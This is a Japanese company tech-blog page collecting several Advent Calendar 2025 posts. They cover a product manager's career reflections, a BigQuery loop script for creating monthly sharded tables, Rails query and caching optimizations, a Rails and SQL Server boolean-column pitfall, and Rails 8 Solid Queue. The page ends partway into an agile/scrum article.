転職活動をしていた当時、私が最も重視していたのは「自身の仮説構築や施策立案の精度を向上させること」でした。 前職の新規事業では、スピード感を持って施策を回していましたが、比較対象となる過去データが少なく、「打席には立つが、なぜ当たった(外れた)かの深い洞察」が不足している感覚がありました。 2005年から続くBUYMAには、膨大な成功と、それを上回る「失敗の経験」があるのではないかと仮定していました。それは、自身が望む次の仮説を研ぎ澄ませるために非常に魅力的な場所だと感じました。 あえて歴史のある環境に身を置くことで、中長期的な時間軸での「判断の軸」を手に入れ、今後どのようなフェーズのプロダクトでも通用するPdMになりたいと考えたのが、入社の最大の理由です。 www.buyma.com 入社後の学び ①バランス感覚が求められる エニグモで最も鍛えられたのは、複数の視点を同時に持ち、全体最適を追求するバランス感覚です。 入社後に手がけた印象的なプロジェクトに、経理が企画を行った出品者に関連する機能開発がありました。 このプロジェクトは、経理、カスタマーサポート、出品者側のマーケティング、エンジニア、デザイナーという多様な職種が集まったチームで進行しました。 プロジェクトの仕様決めの場面で、私は初めて「歴史の重さ」を実感しました。 経理上の運用フローもあり、社内ニーズとユーザーニーズを調和させた運用となっていました。 その上で、機能開発という観点から出品者にとっての使いやすさ(ユーザービリティ)も確保しなければなりません。 さらに、問い合わせが発生した際のカスタマーサポートの対応負荷も事前に検討しておく必要がありました。 このように、1つの意思決定が複数の部署に影響を及ぼします。 そして、20年の歴史があるプロダクトでは、1つのルールを変更するだけでも、システム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。 エニグモでは「出品者・購入者・プラットフォーマーとしてのルール作り・ルールを維持するための運用的可能性」という多面的な視点を同時に持つ必要があります。 この多面的なバランス感覚こそ、今後どのようなプロダクトに関わっても活かせる、PdMとしての生存戦略の核だと感じています。 ②組織のノウハウに対するレバレッジ エニグモには、社歴が長い人が多く在籍しています。 先輩方はBUYMAの歴史を肌で知り、過去の成功と失敗を体験してきています。 ※平均勤続年数は6.3年（2025年10月時点) 入社当初、私は自分がまだ知らない領域について不安を感じていました。 しかし、実際に働いてみて気づいたのは、「自分がすべてを知っている必要はない」ということでした。 重要なのは、知識を持っている人が何を気にしていて、どのようなデータがあり、組織としてどこでバランスを取るべきかを考え、意思決定に繋げることです。 多くのプロジェクトでは、過去の事例やデータが膨大にあるため、各部署の担当者の背景理解や考慮すべき点の想定を事前から広く取ることが可能です。 例えば、カスタマーサポートのメンバーに相談すると、「過去に類似の仕様変更を実施した際、こういった問い合わせが急増した」という実例を教えてくれます。 経理企画のメンバーに相談すると、「この処理フローは○年前にこういう理由で導入された」という背景を共有してくれます。 また、過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすいのも大きな利点です。 考慮しなければならない箇所や、とある対応策を取ろうとした時のメリット・デメリットの整理がしやすくなります。 これらの知見は、組織に蓄積された「ノウハウ」です。 エニグモでは「誰に聞けば良いか」「どのデータを見れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っていれば、圧倒的に速く、精度の高い意思決定ができます。 そして、PdMの役割は、そのノウハウをレバレッジとして活用し、最適な意思決定を導くことです。 この組織知へのアクセス能力は、AIが進化しても決して代替されない、人間ならではの強みだと考えています。 ③意思決定の質とスピード エニグモでは、開発案件に応じてスクラムやアジャイルを使い分けながら開発を進めています。 サービスインフラ(SI)領域を例にとる、ビジネスサイドは10〜15名程度、エンジニアが5〜8名程度、PdMが2名程度で進行しており、密に連携しながら施策を推進します。 驚いたのは、意思決定のスピードと質の両立です。 前職では、スピード重視で施策を回していましたが、データが不足しているために「やってみなければわからない」という状況が多くありました。 一方、エニグモでは20年分のデータとノウハウがあるため、「過去の類似施策ではこうだった」「このセグメントのユーザーはこう動く」という根拠に基づいた意思決定ができます。 また、AI活用も積極的に進められています。例えば、BUYMAには「AIでさがす」機能があり、Vertex AI SearchやGeminiを活用し、よりBUYMAらしい商品提案が可能になりました。 『「AIでさがす」サービスのリニューアル』について このように、歴史という「深い土壌」とAIという「速い道具」が揃っていることで、意思決定の質とスピードが同時に高まっています。 AIによって解決できる課題の量と幅は拡張されていますが、「何を解くべきか」を判断するのは人間の役割です。 そして、その判断の精度を高めるのが、プロダクトの厚みから得られる「物事の見方」と「意思決定プロセスの判断軸」です。 歴史の重さと向き合う難しさ ここまでポジティブな面を中心に書いてきましたが、正直に言えば、苦労したポイントもあります。 各部署との調整と、歴史の重さを考慮した意思決定は、想像以上に難しいものでした。 1つのルールを変更するにしても、その変更がシステム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。 複数の部署の意見を聞き、過去のドキュメントを読み込み、データを分析し、そして全体最適を追求する。 このプロセスは、スピード重視の新規事業とは異なる難しさがあります。 しかし、この「難しさ」こそが、PdMとしての成長を促してくれていると感じています。 なぜなら、今後どのようなプロダクトに関わっても活きる「面と深さを考えながらプロダクトを進行する」という実践知を経験できているからです。 今後やっていきたいこと この1年間で、私はプロダクトを「点」ではなく「面」で捉える視座を手に入れました。 SELL領域とSI領域を横断して担当することで、出品者の体験、購入者の体験、そしてそれらを支える基盤(経理・配送・決済)、すべてが繋がっていることを実感しています。 しかし、まだ「面」のすべてを理解しているわけではありません。 今後は、一部門だけでなく、ユーザー体験全体を「面」で捉え、形にしていくことに挑戦したいと考えています。 エニグモには、歴史という「深い土壌」と、AIという「速い道具」が揃っています。 この環境だからこそ、幅広く、深く、そして「形」にして、面としてのプロダクト磨きに取り組めると確信しています。 BUYMAは20周年を迎え、さらなる進化を続けています。私自身も、この蓄積の中で、PdMとしての生存戦略を磨き続けていきたいと思います。 エニグモで働く魅力 最後に、エニグモで働く魅力をまとめます。 プロダクト・人材面でしっかりとした土壌がある 20年分のデータとノウハウ、そして社歴の長いメンバーが持つ知見。これらは、新規事業では決して得られない「厚み」です。 過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすく、考慮すべき点の整理が圧倒的に速くなります。 幅広く・高速にチャレンジができる AI活用やアジャイル開発により、意思決定のスピードと質が両立されています。 若手でも裁量を持ってプロジェクトを推進できる環境です。 「AIでさがす」機能や類似画像検索の内製化など、最先端の技術を活用した施策に取り組めます。 バランス感覚が磨かれる 経理・出品者・カスタマーサポート・プロダクト全体という多面的な視点を持つことで、どのプロダクトにも通用する「究極のバランス感覚」が身につきます。 　「専門性か、汎用性か」で迷うあなたへ。 エニグモには、専門性を深めながら、汎用性も高められる環境があります。 AIに奪われない組織知をレバレッジとして活用し、プロダクト開発を通じて自己成長できる場所です。 もし、あなたがキャリア形成に不安を感じているなら、エニグモという「最強の土壌」で、一緒にプロダクトを磨いていきませんか。 株式会社エニグモ すべての求人一覧 hrmos.co

こんにちは、 エニグモ の嘉松です。普段はデータ活用推進室にて、データ分析・データ活用の推進やMAツールを用いた CRM 施策などを担当しています。 本記事は Enigmo Advent Calendar 2025 の最終日（25日目）の記事です。1ヶ月間にわたり様々なテーマで繋いできたバトンも、いよいよ今回が最終回となります！ 最終回は、データ分析・データ活用の裏側を支える技術にフォーカスし、BigQueryに関する（少しディープな）知見を共有します。 時点データとは？ データ分析において、現時点のデータだけでなく「過去のある時点」のデータを保持しておくことは極めて重要です。例えば、ユーザーの注文回数、会員ランク、 保有 ポイント数、メール購読の有無などが挙げられます。 これらの 時点データ を毎月1日などのタイミングでスナップショットとして蓄積しておくことで、「過去と現在の比較」や「特定の期間における推移」といった分析が容易になり、分析の幅は劇的に広がります。 しかし、過去に遡ってこれらのデータを作成しようとすると、なかなかの手間が発生します。例えば月次データを5年分作成する場合では60回のクエリ実行が必要となります。 そこで今回は、BigQueryの 手続き型言語 （Procedural language） を使い、ループ処理で過去分のシャーディングテーブルを一気に作成する方法をご紹介します。 BigQueryのシャーディングテーブルとは？ table_YYYYMMDD という 命名規則 に基づき、物理的にテーブルを分割して管理する手法です。 例えば、 user_summary_20251201 のようにテーブル名の末尾に日付を付与します。 シャーディングを行うことで、必要な期間のデータだけをスキャン対象にできるため、処理に必要なデータ量およびクエリ費用を大幅に抑えることが可能です。 シャーディングテーブル作成の処理フロー 今回の処理の流れは以下の通りです。 指定した「開始年月」から「現在」まで、1ヶ月ごとにループさせる。 各月ごとに集計クエリを実行し、 table_YYYYMMDD 形式のテーブルを作成（または置換）する。 処理対象が現在を超えたらループを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 対象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 対象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 対象が「今月」を超えたら LEAVE サンプルコード 以下は、ループ処理を用いて過去テーブルを作成する スクリプト です。 -- 1. 変数の宣言と初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ループ処理の開始 LOOP -- 処理対象年月をセット（開始月からLOOP_CNT分だけ月を加算） SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了判定：処理対象年月が「今月」を超えたらループを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テーブル接尾辞用にYYYYMMDD形式の文字列を作成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成と実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立てて実行します EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDL（テーブル作成）を記述 CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 注文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日（CURRENT_MONTH）以前の注文データに絞り込み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カウンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコードの解説 実装のポイントは以下の3点です。 1. LOOP と LEAVE による制御 BigQueryの 手続き型言語 には FOR 文もありますが、日付を柔軟に加算しながら処理したい場合は LOOP が適しています。無限ループを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を記述しましょう。今回は DATE_TRUNC を使い、実行時の年月を超えた時点で停止するように設定しています。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通常の SQL 文には変数を直接埋め込むことができない箇所（テーブル名など）があります。そのため、クエリ全体を文字列として組み立てて実行する EXECUTE IMMEDIATE を使用します。 FORMAT() 関数を用いると、 %s を使って変数値を流し込めるため、文字列結合（ || ）を繰り返すよりも可読性が高く、メンテナンスもしやすくなります。 3. 文字列のクォート扱いに注意 ここが最も重要なポイントです。動的 SQL の中で日付を リテラル として扱いたい場合、 %s の周りを シングルクォートで囲む 必要があります。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開後: ... < 2022-01-01 （数値の引き算として処理されてしまう） OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開後: ... < '2022-01-01' （正しい日付文字列として認識される） ループ処理活用のススメ 今回はシャーディングテーブルの作成を例に挙げましたが、このループ処理のテクニックは「 API 制限を回避するために1日ずつ処理する」「リソース枯渇を避けるために重たいクエリを分割実行する」といったシーンでも非常に有効です。 手作業による「温かみのある運用」から卒業し、スマートで快適なデータ基盤ライフを送りましょう！ 25日間の感謝を込めて これにて Enigmo Advent Calendar 2025 は全25記事のバトンが繋がり、無事完走となります！ 今年は様々な職域のメンバーが、それぞれの視点から技術や知見を共有してくれました。これらの記事が、皆様の日々の業務や課題解決のヒントとなれば望外の喜びです。 来たる2026年も、 エニグモ は BUYMA をはじめとするサービスを通じて新しい価値を創造してまいります。どうぞよろしくお願いいたします。 株式会社 エニグモ すべての求人一覧 hrmos.co

こんにちは！Webアプリケーションエンジニアの レミー です！ この記事は Enigmo Advent Calendar 2025 の24日目の記事です。 Ruby on Rails アプリが遅いと感じるのは、ほぼ次の3の原因になります。 DBクエリが多すぎる （特に N+1、COUNT/EXISTS の使い分けミス、インデックス不足） 不要なデータを読み込みすぎる （テーブル全て／重いカラム全て取得、あるいは全部を RAM に書き込む） ビューの レンダリング ／コールバックが働きすぎる （partial の多用、重いフォーマット処理、不要なコールバック/バリデーションの実行） この記事では、効果が見えやすいものに絞って、自分が特によく使う最適化10個をまとめます。 1. includes で N+1 クエリを防ぐ 問題: posts の一覧を取得して、view 側で post.user.name や post.comments.size のように関連を参照すると、20件なら20回（あるいはそれ以上）追加クエリが飛ぶ可能性があります。 解決: includes で関連を事前ロードします。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可能性 end 改善後: includes を使用 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に紐づく users を1回のクエリでまとめてロードし、ループ内での追加クエリを防ぎます。 一覧を レンダリング して、ループ内で association を参照する（ post.comments 、 post.user 、 order.items など）場合ではよく使われます。 重要ポイント: includes には 3 パターンがあり、 Rails が状況に応じて選びます。 preload : 常に 2 クエリ （postsとusers） eager_load : 常に LEFT OUTER JOIN （大きい 1 クエリ） includes : Rails が自動判断（preload になる場合も join になる場合もある） 2. 必要なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 全カラム を引いてきます。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含まれがちです。実際には id と name だけで十分なケースも多いはずです。 解決: ActiveRecord オブジェクトは欲しい（でも最小限にしたい） select を使います。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 値の配列だけで十分（高速 + allocations 少なめ） pluck を使います。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB処理時間の短縮、返ってくるデータ量の削減、 Ruby 側の allocations 削減。 dropdown/select box で id と name だけが必要な時とか、バックグラウンドジョブで処理対象 id だけが必要な時などが使われます。 3. 存在するかどうかの確認なら exists? を使う 問題: relation に対して any? / present? で存在チェックをすると、不要にレコードを読み込んだり、最適でないクエリになったりすることがあります。 解決: exists? は EXISTS を使うため、目的に対して効率的になりやすいです。 改善前: 不要なロードが起こり得る User .where( email : email).any? 改善後: EXISTS を使う User .exists?( email : email) メール 重複チェック 、ユーザーが注文を持っているか、対象レコードが既にあるか、などの場合に使われます。 4. count / size / length を正しく使い分ける メソッド DB クエリは走る？ どんなクエリ レコードをロードする？ 使いどころ count あり（常に） SELECT COUNT(*) なし DB から正確な件数が必要なとき length 未ロードなら走る SELECT * あり（全件ロード） すでに records がロード済みだと確実できる時だけ size 状況による COUNT(*) または なし 自動 ActiveRecord / association では基本これが安全 association がロード済みか不明なときは、次のように size が安全です。 comments_count = post.comments.size view で association の件数を表示するなら、まずは size （または counter cache）を優先。 5. よく絞り込み／ソートするカラムに Index を貼る 問題: WHERE user_id = ... などがインデックスがないと、DB がテーブル全体をスキャンして重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出てくるカラムに index を追加します。 例: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] インデックス選びの目安: WHERE / JOIN によく出るカラム： index を追加 ORDER BY と filter がセットでよく出る： 複合インデックス （例 [:user_id, :created_at] ）を追加 email/username のようなユニーク値： unique: true 確認方法: ログで遅いクエリを見つける、DB で EXPLAIN を実行して index が使われているか確認。 注意: index は読み込みを速くしますが、書き込みは少し遅くなる傾向があります。 6. 大量データは batch で処理する: find_each / in_batches 問題: User.where(...).each は全件を RAM に書き込む可能性があります。件数が多い（数万〜数百万）と、メモリが不足になって、worker/job が落ちる原因になります。 解決: find_each で バッチ処理 します。 find_each は 主キーによるページングで、メモリには 1 バッチ分だけ保持します。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ずつ処理 end バッチ単位で処理したい（特に一括更新）なら in_batches が便利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、データの移行作業、数万件以上のレコードを扱うジョブなどに使われます。 7. コールバックが不要なら bulk update/delete: update_all / delete_all 問題: 1万件を each { update } すると、1万回のクエリに加えて validations/callbacks が走ります。場合によってはメール送信なども巻き込まれて重くなります。 解決: 1クエリでまとめて処理します。 # 一括更新 User .where( id : ids).update_all( active : false ) # 一括削除 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重要: update_all / delete_all は バリデーションとコールバックを完全にスキップします。 フラグを一括変更、単純なデータ修正、ログの削除などに使われます。 8. association の件数表示には counter cache を使う 問題: 一覧で「コメント数」を表示するために post.comments.count を多用すると重くなります。 includes(:comments) にしても comments が多いとそれ自体が重くなることがあります。 解決: comments_count のようなカラムに件数を保持します（counter cache）。 # posts に comments_count を追加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を使えます。 これは、一覧ページや管理画面など「件数表示」があちこちに出てくる画面で特に効きます。 注意: 読み込みは非常に速くなりますが、コメント作成/削除時に post 側のカラム更新が 1 回増えます。 9. 高コストな処理は Rails .cache.fetch でキャッシュする 問題: 重いクエリや計算（トップの記事、統計、設定値など）を毎リクエスト再計算してしまう。 解決: TTL と分かりやすい key を持ったキャッシュを使います。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キー設計は ["feature_name", version, params...] の配列にすると、管理しやすいです。 expires_in も付けて意図せず永続化する事故を避けましょう。 10. view をキャッシュする（fragment / collection caching） 問題: DB はそこまで遅くないのに、partial が多い、フォーマット処理が重いなどで view の レンダリング が遅くなる。 解決1: record 単位の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコードのcache key（バージョン付き）を使うので、post が更新されるとキーも変わり、自然に無効化されます。 解決2: collection caching（短くて速い） < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間とCPU使用量が大きく減ります。 Rails が遅い原因は、framework そのものというより、余計なことをしてしまっているコードにあることがほとんどです。まずは上の基本最適化から入れるだけで、複雑なキャッシュ設計やサーバー増強をしなくても、速くなるケースが珍しくありません。 明日の記事の担当はエンジニアの嘉松さんです。お楽しみに。

こんにちは、WEBエンジニアのChoi（チェ）です。 BUYMA の購入者向け機能を開発するチームで、主に SEO 改善の業務を担当しています。 この記事は Enigmo Advent Calendar 2025 の23日目の記事です。 Rails を使用する際は一般的に MySQL や PostgreSQL が使われますが、 BUYMA では用途に応じて SQL Server も使用しています。 最初は「どの SQL も大差ないだろう」と思っていましたが、運用を開始すると Rails + SQL Server 特有のトラブルに遭遇しました。 今回はその中でも、 エラーは一切出ないのに、結果だけが返ってこない という、かなり気づきにくかったケースをご紹介します。 boolean処理をめぐる誤解 RubyとSQLの違い テーブル定義を見て、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっていたか PostgreSQLの場合 MySQLの場合 なぜ SQL Server環境で表面化されたのか この経験から学んだこと boolean処理をめぐる誤解 ある API で、次のようにリクエストパラメータを条件に使っていました。 User.where(active: params[:active]) エラーは発生せず、一見すると問題なさそうに見えました。 しかし実際には、エラーは発生しないものの、条件に一致するデータがまったく返ってこないという現象が起きていました。 SQL ログを確認すると、発行されていたのは次のような SQL です。 WHERE active = 'true' この時点ではまだ、 「文字列になっているのが問題なんだ」 という程度の認識でした。 しかし「文字列になっていたら、trueに暗黙的に変換されるのではないのか？」という疑問も浮かびました。 Ruby と SQL の違い Ruby では、次のようなコードが成立します。 if 'false' # 実行される end Ruby の条件分岐では、 false と nil 以外はすべて truthy として扱われるため、 'false' という文字列も「真」として評価されます。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、値は型変換されることなく、そのままバインドされます。 テーブル定義を見て、ようやく原因に気づく 改めてテーブル定義を確認してみると、 active カラムは boolean ではありませんでした。 カラム型：CHAR(1) 想定値：'1'（有効） / '0'（無効） つまりこのコードは、 HTTP パラメータとして受け取った 文字列をそのまま SQL の条件に渡していた という状態だったのです。 SQL Server 側では、 'true' は boolean として解釈されません。 あくまで 文字列同士の比較として評価されます。 その結果、 エラーは出ない 条件にも一致しない 常に0件が返る という、分かりづらい不具合になっていました。 MySQL や PostgreSQL であれば、どうなっていたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きていたのか？」 という点でした。 PostgreSQL の場合 PostgreSQL には明確な boolean 型があります。 WHERE active = 'true' のような条件でも、 'true' を boolean の true として解釈します。 そのため、今回のケースでは 意図した通りにデータが返ってきていた可能性が高いです。 結果として、問題に気づかないまま運用が続いていたかもしれません。 MySQL の場合 MySQL では、 boolean は実体としては TINYINT(1) です。 'true' や 'false' といった文字列は、暗黙的に数値へ変換され、結果が返ることもあります。 ただしこの挙動は、明確な仕様というより暗黙の型変換に依存したものです。 なぜ SQL Server 環境で表面化されたのか この問題自体は、 SQL Server 固有の文法エラーではありません。 しかし、 SQL Server を採用しているサービスでは レガシーなテーブルでは、有効／無効フラグを CHAR 型で管理しているケースが今も存在する という背景から、 Rails + SQL Server の組み合わせで特に踏みやすい落とし穴だと感じました。 この経験から学んだこと このトラブルをきっかけに、次の点を強く意識するようになりました。 DBのカラム型は「現在の Rails の常識」と一致するとは限らない パラメータをそのまま条件に渡さず、 ドメイン 上の値（'1' / '0' など）に変換してから使う 結果が返らない場合は、生成された SQL を必ず確認する Rails 側で正しく書けていても、DB側の前提が異なるだけで、意図しない挙動にハマることがあると学びました。 明日の記事の担当はWebエンジニアの レミー さんです。お楽しみに。

こんにちは！Webアプリケーションエンジニアの レミー です！ この記事は Enigmo Advent Calendar 2025 の21日目の記事です。 Rails 8がリリースされてから、バックグラウンドジョブシステムである Solid Queue に興味を持ち、調べてみました。 バックグラウンドジョブは、 Ruby on Rails アプリケーションに重要な部分です。メール送信、画像処理、データ同期、キャッシュ更新、 CSV ファイルのエクスポートなど、これらはすべてアプリケーションの高速化とスムーズな動作を維持するために非同期で実行すべきタスクです。 長年、 Rails のバックグラウンドジョブにおいて「Sidekiq + Redis」はほぼ基準とされてきました。しかし、 Rails 8からは、 Rails は公式に Solid Queue を導入しました。これはRedisを必要とせず、補助的なサーバーも不要な、ネイティブなキューシステムです。 この記事では、Solid Queueとは何か、その仕組み、どうして Rails 8以上のプロジェクトでSolid Queueを使用すべきかについて解説します。また、Sidekiqとの比較も行います。 Solid Queueとは？ Solid Queueは、データベースをジョブキューとして使用するバックグラウンドジョブシステムであり、 Rails Solid Suite（Solid Cache, Solid Queue, Solid Cableを含む）の一部として開発されました。 Redisを使用するSidekiqとは異なり、Solid Queueはジョブをデータベースのテーブルに保存し、ワー カープ ロセスがそのジョブを読み取って実行します。 つまり： Redisが不要 Sidekiqのインストールが不要 補助サーバーのコストがかからない ActiveJobと深く統合されている インストールが非常に簡単 これは、 Rails をシンプルにするために生まれました。特にスタートアップ、小規模〜中規模のプロジェクト、またはコストを抑える必要がある環境に最適です。 仕組みとデータベース構造 Solid Queueは単一のシンプルなテーブルだけではなく、ジョブのライフサイクルを管理し、安全性とパフォーマンスを確保するために複数のテーブルを使用します。 重要なテーブルは以下の通りです： solid_queue_jobs : ジョブの メタデータ （クラス名、引数、キュー名、優先度、遅延ジョブの場合は scheduled_at 、ジョブIDなど）を保存します。 solid_queue_ready_executions : 「実行準備完了」となったジョブを含みます。つまり、エンキューされたジョブで、ワーカーが拾える状態のものです。 solid_queue_scheduled_executions : スケジュールされたジョブを含みます。まだ実行タイミングには達していません。 solid_queue_claimed_executions : ワーカーが実行のために確保）したジョブ情報を保存し、複数のワーカーが同じジョブを実行しないためです。 solid_queue_blocked_executions : ブロックされており、すぐに実行できないジョブを含みます。 solid_queue_failed_executions : 実行後にエラーになったジョブを保存し、監視や デバッグ に役立ちます。 このように明確に複数のテーブルに設計されているため、Solid Queueは役割を明確に分離でき、ロジックがクリアになり、管理しやすくなります。 Solid Queueにおけるジョブのライフサイクル Solid Queueの仕組みと、なぜ複数の異なるテーブルが必要なのかを理解するために、ジョブがエンキューされ、ワーカーに拾われ、実行され、削除されるまでの完全なライフサイクルを説明します。 1. ジョブが呼び出される時（エンキュー） MyJob.perform_later(args) を呼び出すと、Solid Queueはデータベースに対して2つの書き込み操作を行います： solid_queue_jobs テーブルへの書き込み：ジョブの メタデータ （"queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" など）を保存します。 すぐに実行するジョブの場合： solid_queue_ready_executions にデータを追加します。このテーブルには、ワーカーが処理可能な準備完了ジョブが含まれます。 2. ワーカーが実行するジョブを探す（ポーリング） ワーカーは solid_queue_ready_executions テーブルを継続的に「ポーリング」して、新しいジョブを取得します。ワーカーは以下の2つの作業を行います： 確保 : ワーカーが solid_queue_ready_executions からジョブを選択すると、 solid_queue_claimed_executions テーブルにレコードを書き込みます。このレコードにより、2つのワーカーが同じジョブを実行することができません。 実行 : クレームした後、ワーカーはジョブクラスの perform メソッドを呼び出して実行します。 3. ジョブ完了時、レコードの削除 ジョブが正常に実行されると、ワーカーは関連するすべてのテーブル（ solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions ）からジョブを削除します。 ジョブのライフサイクルの簡単なまとめ 段階 関連テーブル 目的 ジョブのエンキュー solid_queue_jobs ジョブの メタデータ を保存 ジョブ準備完了 solid_queue_ready_executions ワーカーが拾える状態 ワーカーによる確保 solid_queue_claimed_executions 1つのジョブを1つのワーカーが実行することを保証 実行 なし ワーカーが perform 関数を呼び出す 完了 複数のテーブルから削除 レコードのクリーンアップ 安全性、ジョブの「失う」を防ぐ仕組み 重要な要件の一つは、エンキューされたジョブが少なくとも1回は実行され、失われないことです。Solid Queueは、ワーカーのクラッシュ、強制終了、プロセスの不具合などのケースを以下の形式で処理します： 各ワーカーは起動時に solid_queue_processes にレコードを作成し、定期的に last_heartbeat_at を更新します。 ワーカーがジョブをクレームする際、 solid_queue_claimed_executions にプロセスIDと共にレコードを書き込みます。 デフォルトはスーパーバイザープロセスがバックグラウンドで実行され、 processes テーブルをチェックします。許容時間を超えて heartbeat がないプロセス（例：5分以上）が見つかった場合、それを「失敗したワーカー」と見なします。 スーパーバイザーはそのプロセスを削除し、そのワーカーが保持していたジョブを ready キューに再エンキューして、他のワーカーが拾えるようにします。 これにより、ワーカーがクラッシュしてもジョブは失われず、データの整合性が保証されます。 Solid Queue と Sidekiq の比較 Solid QueueとSidekiqはどちらも Rails で人気のある非同期処理のシステムですが、以下の表で違いを明確にします。 基準 Solid Queue ( Rails 8) Sidekiq ストレージバックエンド データベース ( PostgreSQL / MySQL / SQLite ) Redis (インメモリ、非常に高速) Rails との統合 ネイティブ、 Rails 8からの公式組み込み コアじゃない、gem経由で使用 パフォーマンス 小〜中規模のワークロードに良好 非常に高い、大規模ワークロードに最適 遅延 DB使用のため比較的高い 低い (Redis インメモリ) インストール 簡単、補助サービス不要 複雑、RedisとSidekiqの設定が必要 運用コスト ほぼゼロ (既存DBを使用) Redisのコストがかかる (特に本番環境) 信頼性 高い ( SQL トランザクション + ジョブクレーム) 非常に高いがRedisに依存 リトライのロジック あり、DBに保存 あり、強力かつ柔軟 ダッシュボード 強力なUIはまだない Web UIが充実、リアルタイム監視が可能 いつ Solid Queue を選ぶべきか？ シンプル、軽量、ネイティブ、コスト節約を望むならSolid Queueを選びましょう。 いつ Sidekiq を選ぶべきか？ 高速、強力、大規模システムに適したものを望むならSidekiqを選びましょう。 結論 Solid Queueは、インフラを簡素化し、 Rails 8の大きな進歩を示しています。バックグラウンドジョブをコア フレームワーク に直接統合することで、中小規模のプロジェクトはRedisやSidekiqに依存する必要がなくなり、安定性、信頼性の高いジョブ処理能力を確保しながら、運用コストを大幅に削減できます。 明日の記事の担当はエンジニアの宮川さんです。お楽しみに。

こんにちは、 BUYMA TRAVEL Webエンジニア の 赤間 です。  この記事は Enigmo Advent Calendar 2025 の 20日 目の記事です。 この記事では、転職をきっかけに感じたことを基に、 アジャイル ／ スクラム の基本と、現場で起きがちな"あるある"とその対策について紹介します。 軽く自己紹介になりますが、私は2025年8月に転職してきたエンジニアです。前職でもエンジニアとして開発を行なっており、時期によっては スクラム マスターの役割も担当していました。 その経験から、転職後に「これって アジャイル か？」と戸惑ったことがあり、同じように悩む人のヒントになればと思いこの記事を書いています。 1. はじめに: 同じ「 アジャイル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践していました。1週間という短いスプリントで開発・スプリントレビュー・ふりかえりを繰り返し、要件定義も(プロジェクト毎に)持ち回りで実施していました。 ところが転職後、同じく「 アジャイル 」を実践する現場に入ったものの、運用はスプリントよりも「この機能をいつ出すか」というリリース単位が中心です。参加した当初、実装やリリーススピードは前より速いはずなのに、私自身はどこか噛み合わず、「これって アジャイル なのかな？」と戸惑いました。いま考えると、 アジャイル の形が違うというより、最適化している対象が違ったのだと思います。 この記事では、まず アジャイル / スクラム の基本をできるだけわかりやすく整理します。そのうえで、転職前後の現場を例に「同じ アジャイル でも会社 (チーム) でこう違う」を簡単に比較し、それぞれの特徴や転職を通して見つけたよくある課題(あるある)と解決策を、 アジャイル のことを知らない人にも伝わる形でまとめていきます。 2. そもそも アジャイル とは アジャイル は一言でいうと、変化を前提に「小さく作って試し、フィードバックを受け軌道修正する」開発の考え方です。 最初に要件を固めて、計画通りに作り切る (いわゆる ウォーターフォール ) と対比するとイメージしやすいと思います。   ここで大事なのは、朝会・夕会・カンバンのような手段そのものではなく、 フィードバックを得て、次に反映するサイクルが回っているか です。 たとえば「作ったものを早めに見せる → 反応をもらう → 次の方針を変える」というループが速ければ速いほど、価値や計画のズレが小さいまま進行できます。 3. スクラム とは スクラム は、 アジャイル の考え方を現場でうまく回すための 代表的な フレームワーク 